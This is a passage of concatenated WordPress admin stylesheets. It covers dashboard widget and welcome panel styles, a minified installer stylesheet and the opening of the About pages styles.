}

.welcome-panel-header {
	box-sizing: border-box;
	margin-right: auto;
	margin-left: auto;
	max-width: 1500px;
	width: 100%;
	padding: 48px 48px 80px 0;
}

.welcome-panel .welcome-panel-column-container {
	box-sizing: border-box;
	width: 100%;
	clear: both;
	display: grid;
	z-index: 1;
	padding: 48px;
	grid-template-columns: repeat(3, 1fr);
	gap: 32px;
	align-self: flex-end;
	background: #fff;
}

[class*="welcome-panel-icon"] {
	height: 60px;
	width: 60px;
	background-position: center;
	background-size: 24px 24px;
	background-repeat: no-repeat;
	border-radius: 100%;
}

.welcome-panel-column > svg {
	margin-top: 4px;
}

.welcome-panel-column {
	display: grid;
	grid-template-columns: min-content 1fr;
	gap: 24px;
}

.welcome-panel-icon-pages {
	background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'%3E%3Cpath fill='%23fff' d='M7 13.8h6v-1.5H7v1.5zM18 16V4c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2zM5.5 16V4c0-.3.2-.5.5-.5h10c.3 0 .5.2.5.5v12c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5zM7 10.5h8V9H7v1.5zm0-3.3h8V5.8H7v1.4zM20.2 6v13c0 .7-.6 1.2-1.2 1.2H8v1.5h11c1.5 0 2.7-1.2 2.7-2.8V6h-1.5z' /%3E%3C/svg%3E");
}

.welcome-panel-icon-layout {
	background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'%3E%3Cpath fill='%23fff' d='M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z' /%3E%3C/svg%3E");
}

.welcome-panel-icon-styles {
	background-image: url("data:image/svg+xml,%3Csvg viewBox='0 0 24 24' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill='%23fff' d='M12 4c-4.4 0-8 3.6-8 8v.1c0 4.1 3.2 7.5 7.2 7.9h.8c4.4 0 8-3.6 8-8s-3.6-8-8-8zm0 15V5c3.9 0 7 3.1 7 7s-3.1 7-7 7z' /%3E%3C/svg%3E");
}

/* @deprecated 5.9.0 -- Section removed from welcome panel. */
.welcome-panel .welcome-widgets-menus {
	line-height: 1.14285714;
}

/* @deprecated 5.9.0 -- Lists removed from welcome panel. */
.welcome-panel .welcome-panel-column ul {
	margin: 0.8em 0 1em 1em;
}

/* @deprecated 5.9.0 -- Lists removed from welcome panel. */
.welcome-panel li {
	font-size: 14px;
}

/* @deprecated 5.9.0 -- Lists removed from welcome panel. */
.welcome-panel li a {
	text-decoration: none;
}

/* @deprecated 5.9.0 -- Lists removed from welcome panel. */
.welcome-panel .welcome-panel-column li {
	line-height: 1.14285714;
	list-style-type: none;
	padding: 0 0 8px;
}

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-icon {
	background: transparent !important;
}

/* Welcome Panel and Right Now common Icons style */

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-icon:before,
#dashboard_right_now li a:before,
#dashboard_right_now li span:before,
#dashboard_right_now .search-engines-info:before {
	color: #646970;
	font: normal 20px/1 dashicons;
	speak: never;
	display: inline-block;
	padding: 0 0 0 10px;
	position: relative;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	text-decoration: none !important;
	vertical-align: top;
}

/* Welcome Panel specific Icons styles */

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-write-blog:before,
.welcome-panel .welcome-edit-page:before {
	content: "\f119";
	top: -3px;
}

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-add-page:before {
	content: "\f132";
	top: -1px;
}

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-setup-home:before {
	content: "\f102";
	top: -1px;
}

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-view-site:before {
	content: "\f115";
	top: -2px;
}

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-widgets-menus:before {
	content: "\f116";
	top: -2px;
}

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-widgets:before {
	content: "\f538";
	top: -2px;
}

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-menus:before {
	content: "\f163";
	top: -2px;
}

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-comments:before {
	content: "\f117";
	top: -1px;
}

/* @deprecated 5.9.0 -- Icons removed from welcome panel. */
.welcome-panel .welcome-learn-more:before {
	content: "\f118";
	top: -1px;
}

/* Right Now specific Icons styles */

#dashboard_right_now .search-engines-info:before,
#dashboard_right_now li a:before,
#dashboard_right_now li > span:before { /* get only the first level span to exclude screen-reader-text in mu-storage */
	content: "\f159"; /* generic icon for items added by CPTs ? */
	padding: 0 0 0 5px;
}

#dashboard_right_now .page-count a:before,
#dashboard_right_now .page-count span:before {
	content: "\f105";
}

#dashboard_right_now .post-count a:before,
#dashboard_right_now .post-count span:before {
	content: "\f109";
}

#dashboard_right_now .comment-count a:before {
	content: "\f101";
}

#dashboard_right_now .comment-mod-count a:before {
	content: "\f125";
}

#dashboard_right_now .storage-count a:before {
	content: "\f104";
}

#dashboard_right_now .storage-count.warning a:before {
	content: "\f153";
}

#dashboard_right_now .search-engines-info:before {
	content: "\f348";
}

/* Dashboard WordPress events */

.community-events-errors {
	margin: 0;
}

.community-events-loading {
	padding: 10px 12px 8px;
}

.community-events {
	margin-bottom: 6px;
	padding: 0 12px;
}

.community-events .spinner {
	float: none;
	margin: 5px 2px 0;
	vertical-align: top;
}

.community-events-errors[aria-hidden="true"],
.community-events-errors [aria-hidden="true"],
.community-events-loading[aria-hidden="true"],
.community-events[aria-hidden="true"],
.community-events form[aria-hidden="true"] {
	display: none;
}

.community-events .activity-block:first-child,
.community-events h2 {
	padding-top: 12px;
	padding-bottom: 10px;
}

.community-events-form {
	margin: 15px 0 5px;
}

.community-events-form .regular-text {
	width: 40%;
	height: 29px;
	margin: 0;
	vertical-align: top;
}

.community-events li.event-none {
	border-right: 4px solid #72aee6;
}

#dashboard-widgets .community-events li.event-none a {
	text-decoration: underline;
}

.community-events-form label {
	display: inline-block;
	vertical-align: top;
	line-height: 2.15384615;
	height: 28px;
}

.community-events .activity-block > p {
	margin-bottom: 0;
	display: inline;
}

.community-events-toggle-location {
	vertical-align: middle;
}

#community-events-submit {
	margin-right: 3px;
	margin-left: 3px;
}

/* Needs higher specificity than #dashboard-widgets .button-link */
#dashboard-widgets .community-events-cancel.button-link {
	vertical-align: top;
	/* Same properties as the submit button for cross-browsers alignment. */
	line-height: 2;
	height: 28px;
	text-decoration: underline;
}

.community-events ul {
	background-color: #f6f7f7;
	padding-right: 0;
	padding-left: 0;
	padding-bottom: 0;
}

.community-events li {
	margin: 0;
	padding: 8px 12px;
	color: #2c3338;
}
.community-events li:first-child {
	border-top: 1px solid #f0f0f1;
}

.community-events li ~ li {
	border-top: 1px solid #f0f0f1;
}

.community-events .activity-block.last {
	border-bottom: 1px solid #f0f0f1;
	padding-top: 0;
	margin-top: -1px;
}

.community-events .event-info {
	display: block;
}

.community-events .ce-separator::before {
	content: "\2022";
}

.event-icon {
	height: 18px;
	padding-left: 10px;
	width: 18px;
	display: none; /* Hide on smaller screens */
}

.event-icon:before {
	color: #646970;
	font-size: 18px;
}
.event-meetup .event-icon:before {
	content: "\f484";
}
.event-wordcamp .event-icon:before {
	content: "\f486";
}

.community-events .event-title {
	font-weight: 600;
	display: block;
}

.community-events .event-date,
.community-events .event-time {
	display: block;
}

.community-events-footer {
	margin-top: 0;
	margin-bottom: 0;
	padding: 12px;
	border-top: 1px solid #f0f0f1;
	color: #dcdcde;
}

/* Safari 10 + VoiceOver specific: without this, the hidden text gets read out before the link. */
.community-events-footer .screen-reader-text {
	height: inherit;
	white-space: nowrap;
}

/* Dashboard WordPress news */

#dashboard_primary .inside {
	margin: 0;
	padding: 0;
}

#dashboard_primary .widget-loading {
	padding: 12px 12px 0;
	margin-bottom: 1em !important; /* Needs to override `.postbox .inside > p:last-child` in common.css */
}

/* Notice when JS is off. */
#dashboard_primary .inside .notice {
	margin: 0;
}

body #dashboard-widgets .postbox form .submit {
	margin: 0;
}

/* Used only for configurable widgets. */
.dashboard-widget-control-form p {
	margin-top: 0;
}

.rssSummary {
	color: #646970;
	margin-top: 4px;
}

#dashboard_primary .rss-widget {
	font-size: 13px;
	padding: 0 12px;
}

#dashboard_primary .rss-widget:last-child {
	border-bottom: none;
	padding-bottom: 8px;
}

#dashboard_primary .rss-widget a {
	font-weight: 400;
}

#dashboard_primary .rss-widget span,
#dashboard_primary .rss-widget span.rss-date {
	color: #646970;
}

#dashboard_primary .rss-widget span.rss-date {
	margin-right: 12px;
}

#dashboard_primary .rss-widget ul li {
	padding: 4px 0;
	margin: 0;
}

/* Dashboard right now */

#dashboard_right_now ul {
	margin: 0;
	/* contain floats but don't use overflow: hidden */
	display: inline-block;
	width: 100%;
}

#dashboard_right_now li {
	width: 50%;
	float: right;
	margin-bottom: 10px;
}

#dashboard_right_now .inside {
	padding: 0;
}

#dashboard_right_now .main {
	padding: 0 12px 11px;
}

#dashboard_right_now .main p {
	margin: 0;
}

#dashboard_right_now #wp-version-message .button {
	float: left;
	position: relative;
	top: -5px;
	margin-right: 5px;
}

#dashboard_right_now p.search-engines-info {
	margin: 1em 0;
}

.mu-storage {
	overflow: hidden;
}

#dashboard-widgets h3.mu-storage {
	margin: 0 0 10px;
	padding: 0;
	font-size: 14px;
	font-weight: 400;
}

/* Dashboard right now - Colors */

#dashboard_right_now .sub {
	color: #50575e;
	background: #f6f7f7;
	border-top: 1px solid #f0f0f1;
	padding: 10px 12px 6px;
}

#dashboard_right_now .sub h3 {
	color: #50575e;
}

#dashboard_right_now .sub p {
	margin: 0 0 1em;
}

#dashboard_right_now .warning a:before,
#dashboard_right_now .warning span:before {
	color: #d63638;
}

/* Dashboard Quick Draft */

#dashboard_quick_press .inside {
	margin: 0;
	padding: 0;
}

#dashboard_quick_press div.updated {
	margin-bottom: 10px;
	border: 1px solid #f0f0f1;
	border-width: 1px 0 1px 1px;
}

#dashboard_quick_press form {
	margin: 12px;
}

#dashboard_quick_press .drafts {
	padding: 10px 0 0;
}

/* Dashboard Quick Draft - Form styling */

#dashboard_quick_press label {
	display: inline-block;
	margin-bottom: 4px;
}

#dashboard_quick_press input,
#dashboard_quick_press textarea {
	box-sizing: border-box;
	margin: 0;
}

#dashboard-widgets .postbox form .submit {
	margin: -39px 0;
	float: left;
}

#description-wrap {
	margin-top: 12px;
}

#quick-press textarea#content {
	min-height: 90px;
	max-height: 1300px;
	margin: 0 0 8px;
	padding: 6px 7px;
	resize: none;
}

/* Dashboard Quick Draft - Drafts list */

.js #dashboard_quick_press .drafts {
	border-top: 1px solid #f0f0f1;
}

#dashboard_quick_press .drafts abbr {
	border: none;
}

#dashboard_quick_press .drafts .view-all {
	float: left;
	margin: 0 0 0 12px;
}

#dashboard_primary a.rsswidget {
	font-weight: 400;
}

#dashboard_quick_press .drafts ul {
	margin: 0 12px;
}

#dashboard_quick_press .drafts li {
	margin-bottom: 1em;
}
#dashboard_quick_press .drafts li time {
	color: #646970;
}

#dashboard_quick_press .drafts p {
	margin: 0;
	word-wrap: break-word;
}

#dashboard_quick_press .draft-title {
	word-wrap: break-word;
}

#dashboard_quick_press .draft-title a,
#dashboard_quick_press .draft-title time {
	margin: 0 0 0 5px;
}

/* Dashboard common styles */

#dashboard-widgets h4, /* Back-compat for pre-4.4 */
#dashboard-widgets h3,
#dashboard_quick_press .drafts h2 {
	margin: 0 12px 8px;
	padding: 0;
	font-size: 14px;
	font-weight: 400;
	color: #1d2327;
}

#dashboard_quick_press .drafts h2 {
	line-height: inherit;
}

#dashboard-widgets .inside h4, /* Back-compat for pre-4.4 */
#dashboard-widgets .inside h3 {
	margin-right: 0;
	margin-left: 0;
}

/* Dashboard activity widget */

#dashboard_activity .comment-meta span.approve:before {
	content: "\f227";
	font: 20px/.5 dashicons;
	margin-right: 5px;
	vertical-align: middle;
	position: relative;
	top: -1px;
	margin-left: 2px;
}

#dashboard_activity .inside {
	margin: 0;
	padding-bottom: 0;
}

#dashboard_activity .no-activity {
	overflow: hidden;
	padding: 12px 0;
	text-align: center;
}

#dashboard_activity .no-activity p {
	color: #646970;
	font-size: 16px;
}

#dashboard_activity .subsubsub {
	float: none;
	border-top: 1px solid #f0f0f1;
	margin: 0 -12px;
	padding: 8px 12px 4px;
}

#dashboard_activity .subsubsub a .count,
#dashboard_activity .subsubsub a.current .count {
	color: #646970; /* white background on the dashboard but #f0f0f1 on list tables */
}

#future-posts ul,
#published-posts ul {
	margin: 8px -12px 0 -12px;
}

#future-posts li,
#published-posts li {
	display: grid;
	grid-template-columns: clamp(160px, calc(2vw + 140px), 200px) auto;
	column-gap: 10px;
	color: #646970;
	padding: 4px 12px;
}

#future-posts li:nth-child(odd),
#published-posts li:nth-child(odd) {
	background-color: #f6f7f7;
}

.activity-block {
	border-bottom: 1px solid #f0f0f1;
	margin: 0 -12px 6px -12px;
	padding: 8px 12px 4px;
}

.activity-block:last-child {
	border-bottom: none;
	margin-bottom: 0;
}

.activity-block .subsubsub li {
	color: #dcdcde;
}

/* Dashboard activity widget - Comments */
/* @todo: needs serious de-duplication */

#activity-widget #the-comment-list tr.undo,
#activity-widget #the-comment-list div.undo {
	background: none;
	padding: 6px 0;
	margin-right: 12px;
}

#activity-widget #the-comment-list .comment-item {
	background: #f6f7f7;
	padding: 12px;
	position: relative;
}

#activity-widget #the-comment-list .avatar {
	position: absolute;
	top: 12px;
}

#activity-widget #the-comment-list .dashboard-comment-wrap.has-avatar {
	padding-right: 63px;
}

#activity-widget #the-comment-list .dashboard-comment-wrap blockquote {
	margin: 1em 0;
}

#activity-widget #the-comment-list .comment-item p.row-actions {
	margin: 4px 0 0;
}

#activity-widget #the-comment-list .comment-item:first-child {
	border-top: 1px solid #f0f0f1;
}

#activity-widget #the-comment-list .unapproved {
	background-color: #fcf9e8;
}

#activity-widget #the-comment-list .unapproved:before {
	content: "";
	display: block;
	position: absolute;
	right: 0;
	top: 0;
	bottom: 0;
	background: #d63638;
	width: 4px;
}

#activity-widget #the-comment-list .spam-undo-inside .avatar,
#activity-widget #the-comment-list .trash-undo-inside .avatar {
	position: relative;
	top: 0;
}

/* Browse happy box */

#dashboard-widgets #dashboard_browser_nag.postbox .inside {
	margin: 10px;
}

.postbox .button-link .edit-box {
	display: none;
}

.edit-box {
	opacity: 0;
}

.hndle:hover .edit-box,
.edit-box:focus {
	opacity: 1;
}

#dashboard-widgets form .input-text-wrap input {
	width: 100%;
}

#dashboard-widgets form .textarea-wrap textarea {
	width: 100%;
}

#dashboard-widgets .postbox form .submit {
	float: none;
	margin: .5em 0 0;
	padding: 0;
	border: none;
}

#dashboard-widgets-wrap #dashboard-widgets .postbox form .submit #publish {
	min-width: 0;
}

#dashboard-widgets li a,
#dashboard-widgets .button-link,
.community-events-footer a {
	text-decoration: none;
}

#dashboard-widgets h2 a {
	text-decoration: underline;
}

#dashboard-widgets .hndle .postbox-title-action {
	float: left;
	line-height: 1.2;
}

#dashboard_plugins h5 {
	font-size: 14px;
}

/* Recent Comments */

#latest-comments #the-comment-list {
	position: relative;
	margin: 0 -12px;
}

#activity-widget #the-comment-list .comment,
#activity-widget #the-comment-list .pingback {
	box-shadow: inset 0 1px 0 rgba(0, 0, 0, 0.06);
}

#activity-widget .comments #the-comment-list .alt {
	background-color: transparent;
}

#activity-widget #latest-comments #the-comment-list .comment-item {
	/* the row-actions paragraph is output only for users with 'edit_comment' capabilities,
	   for other users this needs a min height equal to the gravatar image */
	min-height: 50px;
	margin: 0;
	padding: 12px;
}

#latest-comments #the-comment-list .pingback {
	padding-right: 12px !important;
}

#latest-comments #the-comment-list .comment-item:first-child {
	border-top: none;
}

#latest-comments #the-comment-list .comment-meta {
	line-height: 1.5;
	margin: 0;
	color: #646970;
}

#latest-comments #the-comment-list .comment-meta cite {
	font-style: normal;
	font-weight: 400;
}

#latest-comments #the-comment-list .comment-item blockquote,
#latest-comments #the-comment-list .comment-item blockquote p {
	margin: 0;
	padding: 0;
	display: inline;
}

#latest-comments #the-comment-list .comment-item p.row-actions {
	margin: 3px 0 0;
	padding: 0;
	font-size: 13px;
}

/* Feeds */
.rss-widget ul {
	margin: 0;
	padding: 0;
	list-style: none;
}

a.rsswidget {
	font-size: 13px;
	font-weight: 600;
	line-height: 1.4;
}

.rss-widget ul li {
	line-height: 1.5;
	margin-bottom: 12px;
}

.rss-widget span.rss-date {
	color: #646970;
	font-size: 13px;
	margin-right: 3px;
}

.rss-widget cite {
	display: block;
	text-align: left;
	margin: 0 0 1em;
	padding: 0;
}

.rss-widget cite:before {
	content: "\2014";
}

.dashboard-comment-wrap {
	word-wrap: break-word;
}

/* Browser Nag */
#dashboard_browser_nag a.update-browser-link {
	font-size: 1.2em;
	font-weight: 600;
}

#dashboard_browser_nag a {
	text-decoration: underline;
}

#dashboard_browser_nag p.browser-update-nag.has-browser-icon {
	padding-left: 128px;
}

#dashboard_browser_nag .browser-icon {
	margin-top: -32px;
}

#dashboard_browser_nag.postbox {
	background-color: #b32d2e;
	background-image: none;
	border-color: #b32d2e;
	color: #fff;
	box-shadow: none;
}

#dashboard_browser_nag.postbox h2 {
	border-bottom-color: transparent;
	background: transparent none;
	color: #fff;
	box-shadow: none;
}

#dashboard_browser_nag a {
	color: #fff;
}

#dashboard_browser_nag.postbox .postbox-header {
	border-color: transparent;
}

#dashboard_browser_nag h2.hndle {
	border: none;
	font-weight: 600;
	font-size: 20px;
	padding-top: 10px;
}

.postbox#dashboard_browser_nag p a.dismiss {
	font-size: 14px;
}

.postbox#dashboard_browser_nag p,
.postbox#dashboard_browser_nag a,
.postbox#dashboard_browser_nag p.browser-update-nag {
	font-size: 16px;
}

/* PHP Nag */
#dashboard_php_nag .dashicons-warning {
	color: #dba617;
	padding-left: 6px;
}

#dashboard_php_nag.php-no-security-updates .dashicons-warning,
#dashboard_php_nag.php-version-lower-than-future-minimum .dashicons-warning {
	color: #d63638;
}

#dashboard_php_nag h2 {
	display: inline-block;
}

#dashboard_php_nag p {
	margin: 12px 0;
}

#dashboard_php_nag .button .dashicons-external {
	line-height: 25px;
}

.bigger-bolder-text {
	font-weight: 600;
	font-size: 14px;
}

/* =Media Queries
-------------------------------------------------------------- */

@media only screen and (min-width: 1600px) {
	.welcome-panel .welcome-panel-column-container {
		display: flex;
		justify-content: center;
	}

	.welcome-panel-column {
		width: 100%;
		max-width: 460px;
	}
}

/* one column on the dash */
@media only screen and (max-width: 799px) {
	#wpbody-content #dashboard-widgets .postbox-container {
		width: 100%;
	}

	#dashboard-widgets .meta-box-sortables {
		min-height: 0;
	}

	.is-dragging-metaboxes #dashboard-widgets .meta-box-sortables {
		min-height: 100px;
	}

	#dashboard-widgets .meta-box-sortables.empty-container {
		margin-bottom: 0;
	}
}

/* two columns on the dash, but keep the setting if one is selected */
@media only screen and (min-width: 800px) and (max-width: 1499px) {
	#wpbody-content #dashboard-widgets .postbox-container {
		width: 49.5%;
	}

	#wpbody-content #dashboard-widgets #postbox-container-2,
	#wpbody-content #dashboard-widgets #postbox-container-3,
	#wpbody-content #dashboard-widgets #postbox-container-4 {
		float: left;
		width: 50.5%;
	}

	#dashboard-widgets #postbox-container-3 .empty-container,
	#dashboard-widgets #postbox-container-4 .empty-container {
		outline: none;
		height: 0;
		min-height: 0;
		margin-bottom: 0;
	}

	#dashboard-widgets #postbox-container-3 .empty-container:after,
	#dashboard-widgets #postbox-container-4 .empty-container:after {
		display: none;
	}

	#wpbody #wpbody-content #dashboard-widgets.columns-1 .postbox-container {
		width: 100%;
	}

	#wpbody #dashboard-widgets .metabox-holder.columns-1 .postbox-container .empty-container {
		outline: none;
		height: 0;
		min-height: 0;
		margin-bottom: 0;
	}

	/* show the radio buttons for column prefs only for one or two columns */
	.index-php .screen-layout,
	.index-php .columns-prefs {
		display: block;
	}

	.columns-prefs .columns-prefs-3,
	.columns-prefs .columns-prefs-4 {
		display: none;
	}

	#dashboard-widgets .postbox-container .empty-container:after {
		display: block;
	}
}

/* three columns on the dash */
@media only screen and (min-width: 1500px) and (max-width: 1800px) {
	#wpbody-content #dashboard-widgets .postbox-container {
		width: 33.5%;
	}

	#wpbody-content #dashboard-widgets #postbox-container-1 {
		width: 33%;
	}

	#wpbody-content #dashboard-widgets #postbox-container-3,
	#wpbody-content #dashboard-widgets #postbox-container-4 {
		float: left;
	}

	#dashboard-widgets #postbox-container-4 .empty-container {
		outline: none;
		height: 0;
		min-height: 0;
		margin-bottom: 0;
	}

	#dashboard-widgets #postbox-container-4 .empty-container:after {
		display: none;
	}

	#dashboard-widgets .postbox-container .empty-container:after {
		display: block;
	}
}

/* Always show the "Drag boxes here" CSS generated content on large screens. */
@media only screen and (min-width: 1801px) {
	#dashboard-widgets .postbox-container .empty-container:after {
		display: block;
	}
}

@media screen and (max-width: 870px) {
	/* @deprecated 5.9.0 -- Lists removed from welcome panel. */
	.welcome-panel .welcome-panel-column li {
		display: inline-block;
		margin-left: 13px;
	}

	/* @deprecated 5.9.0 -- Lists removed from welcome panel. */
	.welcome-panel .welcome-panel-column ul {
		margin: 0.4em 0 0;
	}

}

@media screen and (max-width: 1180px) and (min-width: 783px) {
	.welcome-panel-column {
		grid-template-columns: 1fr;
	}

	[class*="welcome-panel-icon"],
	.welcome-panel-column > svg {
		display: none;
	}
}

@media screen and (max-width: 782px) {
	.welcome-panel .welcome-panel-column-container {
		grid-template-columns: 1fr;
		box-sizing: border-box;
		padding: 32px;
		width: 100%;
	}

	.welcome-panel .welcome-panel-column-content {
		max-width: 520px;
	}

	/* Keep the close icon from overlapping the Welcome text. */
	.welcome-panel .welcome-panel-close {
		overflow: hidden;
		text-indent: 40px;
		white-space: nowrap;
		width: 20px;
		height: 20px;
		padding: 5px;
		top: 5px;
		left: 5px;
	}

	.welcome-panel .welcome-panel-close::before {
		top: 5px;
		right: -35px;
	}

	#dashboard-widgets h2 {
		padding: 12px;
	}

	#dashboard_recent_comments #the-comment-list .comment-item .avatar {
		height: 30px;
		width: 30px;
		margin: 4px 0 5px 10px;
	}

	.community-events-toggle-location {
		height: 38px;
		vertical-align: baseline;
	}

	.community-events-form .regular-text {
		height: 32px;
	}

	#community-events-submit {
		margin-bottom: 0;
		/* Override .wp-core-ui .button */
		vertical-align: top;
	}

	.community-events-form label,
	#dashboard-widgets .community-events-cancel.button-link {
		/* Same properties as the submit button for cross-browsers alignment. */
		font-size: 14px;
		line-height: normal;
		height: auto;
		padding: 6px 0;
		border: 1px solid transparent;
	}

	.community-events .spinner {
		margin-top: 7px;
	}
}

/* Smartphone */
@media screen and (max-width: 600px) {
	.welcome-panel-header {
		padding: 32px 32px 64px;
	}

	.welcome-panel-header-image {
		display: none;
	}
}

@media screen and (max-width: 480px) {
	.welcome-panel-column {
		gap: 16px;
	}
}

@media screen and (max-width: 360px) {
	.welcome-panel-column {
		grid-template-columns: 1fr;
	}

	[class*="welcome-panel-icon"],
	.welcome-panel-column > svg {
		display: none;
	}
}

@media screen and (min-width: 355px) {
	.community-events .event-info {
		display: table-row;
		float: right;
		max-width: 59%;
	}

	.event-icon,
	.event-icon[aria-hidden="true"] {
		display: table-cell;
	}

	.event-info-inner {
		display: table-cell;
	}

	.community-events .event-date-time {
		float: left;
		max-width: 39%;
	}

	.community-events .event-date,
	.community-events .event-time {
		text-align: left;
	}
}
/*! This file is auto-generated */
html{background:#f0f0f1;margin:0 20px}body{background:#fff;border:1px solid #c3c4c7;color:#3c434a;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;margin:140px auto 25px;padding:20px 20px 10px;max-width:700px;-webkit-font-smoothing:subpixel-antialiased;box-shadow:0 1px 1px rgba(0,0,0,.04)}a{color:#2271b1}a:active,a:hover{color:#135e96}a:focus{color:#043959;box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}h1,h2{border-bottom:1px solid #dcdcde;clear:both;color:#646970;font-size:24px;padding:0 0 7px;font-weight:400}h3{font-size:16px}dd,dt,li,p{padding-bottom:2px;font-size:14px;line-height:1.5}.code,code{font-family:Consolas,Monaco,monospace}dl,ol,ul{padding:5px 5px 5px 22px}a img{border:0}abbr{border:0;font-variant:normal}fieldset{border:0;padding:0;margin:0}#logo{margin:-130px auto 25px;padding:0 0 25px;width:84px;height:84px;overflow:hidden;background-image:url(../images/w-logo-blue.png?ver=20131202);background-image:none,url(../images/wordpress-logo.svg?ver=20131107);background-size:84px;background-position:center top;background-repeat:no-repeat;color:#3c434a;font-size:20px;font-weight:400;line-height:1.3em;text-decoration:none;text-align:center;text-indent:-9999px;outline:0}.step{margin:20px 0 15px}.step,th{text-align:left;padding:0}.language-chooser.wp-core-ui .step .button.button-large{font-size:14px}textarea{border:1px solid #dcdcde;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;width:100%;box-sizing:border-box}.form-table{border-collapse:collapse;margin-top:1em;width:100%}.form-table td{margin-bottom:9px;padding:10px 20px 10px 0;font-size:14px;vertical-align:top}.form-table th{font-size:14px;text-align:left;padding:10px 20px 10px 0;width:115px;vertical-align:top}.form-table code{line-height:1.28571428;font-size:14px}.form-table p{margin:4px 0 0;font-size:11px}.form-table .setup-description{margin:4px 0 0;line-height:1.6}.form-table input{line-height:1.33333333;font-size:15px;padding:3px 5px}.wp-pwd{margin-top:0}.form-table .wp-pwd{display:flex;column-gap:4px}.form-table .password-input-wrapper{width:100%}input,submit{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif}#pass-strength-result,.form-table input[type=email],.form-table input[type=password],.form-table input[type=text],.form-table input[type=url]{width:100%}.form-table th p{font-weight:400}.form-table.install-success td,.form-table.install-success th{vertical-align:middle;padding:16px 20px 16px 0}.form-table.install-success td p{margin:0;font-size:14px}.form-table.install-success td code{margin:0;font-size:18px}#error-page{margin-top:50px}#error-page p{font-size:14px;line-height:1.28571428;margin:25px 0 20px}#error-page code,.code{font-family:Consolas,Monaco,monospace}.message{border-left:4px solid #d63638;padding:.7em .6em;background-color:#fcf0f1}#admin_email,#dbhost,#dbname,#pass1,#pass2,#prefix,#pwd,#uname,#user_login{direction:ltr}.rtl input,.rtl submit,.rtl textarea,body.rtl{font-family:Tahoma,sans-serif}:lang(he-il) .rtl input,:lang(he-il) .rtl submit,:lang(he-il) .rtl textarea,:lang(he-il) body.rtl{font-family:Arial,sans-serif}@media only screen and (max-width:799px){body{margin-top:115px}#logo a{margin:-125px auto 30px}}@media screen and (max-width:782px){.form-table{margin-top:0}.form-table td,.form-table th{display:block;width:auto;vertical-align:middle}.form-table th{padding:20px 0 0}.form-table td{padding:5px 0;border:0;margin:0}input,textarea{font-size:16px}.form-table span.description,.form-table td input[type=email],.form-table td input[type=password],.form-table td input[type=text],.form-table td input[type=url],.form-table td select,.form-table td textarea{width:100%;font-size:16px;line-height:1.5;padding:7px 10px;display:block;max-width:none;box-sizing:border-box}#pwd{padding-right:2.5rem}.wp-pwd #pass1{padding-right:50px}.wp-pwd .button.wp-hide-pw{right:0}#pass-strength-result{width:100%}}body.language-chooser{max-width:300px}.language-chooser select{padding:8px;width:100%;display:block;border:1px solid #dcdcde;background:#fff;color:#2c3338;font-size:16px;font-family:Arial,sans-serif;font-weight:400}.language-chooser select:focus{color:#2c3338}.language-chooser select option:focus,.language-chooser select option:hover{color:#0a4b78}.language-chooser .step{text-align:right}.screen-reader-input,.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.spinner{background:url(../images/spinner.gif) no-repeat;background-size:20px 20px;visibility:hidden;opacity:.7;width:20px;height:20px;margin:2px 5px 0}.step .spinner{display:inline-block;vertical-align:middle;margin-right:15px}.button.hide-if-no-js,.hide-if-no-js{display:none}@media print,(min-resolution:120dpi){.spinner{background-image:url(../images/spinner-2x.gif)}}/*------------------------------------------------------------------------------
  22.0 - About Pages

   1.0 Global: About, Credits, Freedoms, Privacy, Get Involved
    1.1 Layout
    1.2 Typography & Elements
    1.3 Header
   2.0 Credits Page
   3.0 Freedoms Page
   4.0 Privacy Page
   x.2.0 Legacy About Styles: Global
    x.2.1 Typography
    x.2.2 Structure
    x.2.3 Point Releases
   x.3.0 Legacy About Styles: About Page
    x.3.1 Typography
    x.3.2 Structure
   x.4.0 Legacy About Styles: Credits & Freedoms Pages
   x.5.0 Legacy About Styles: Media Queries
------------------------------------------------------------------------------*/

.about__container {
	/* Section backgrounds */
	--background: #ededed;
	--subtle-background: #eef0fd;

	/* Main text color */
	--text: #1e1e1e;
	--text-light: #fff;

	/* Accent colors: used in header, on special classes. */
	--accent-1: #3858e9; /* Link color */
	--accent-2: #3858e9; /* Accent background */
	--accent-3: #ededed; /* hr background */

	/* Navigation colors. */
	--nav-background: #fff;
	--nav-border: transparent;
	--nav-color: var(--text);
	--nav-current: var(--accent-1);

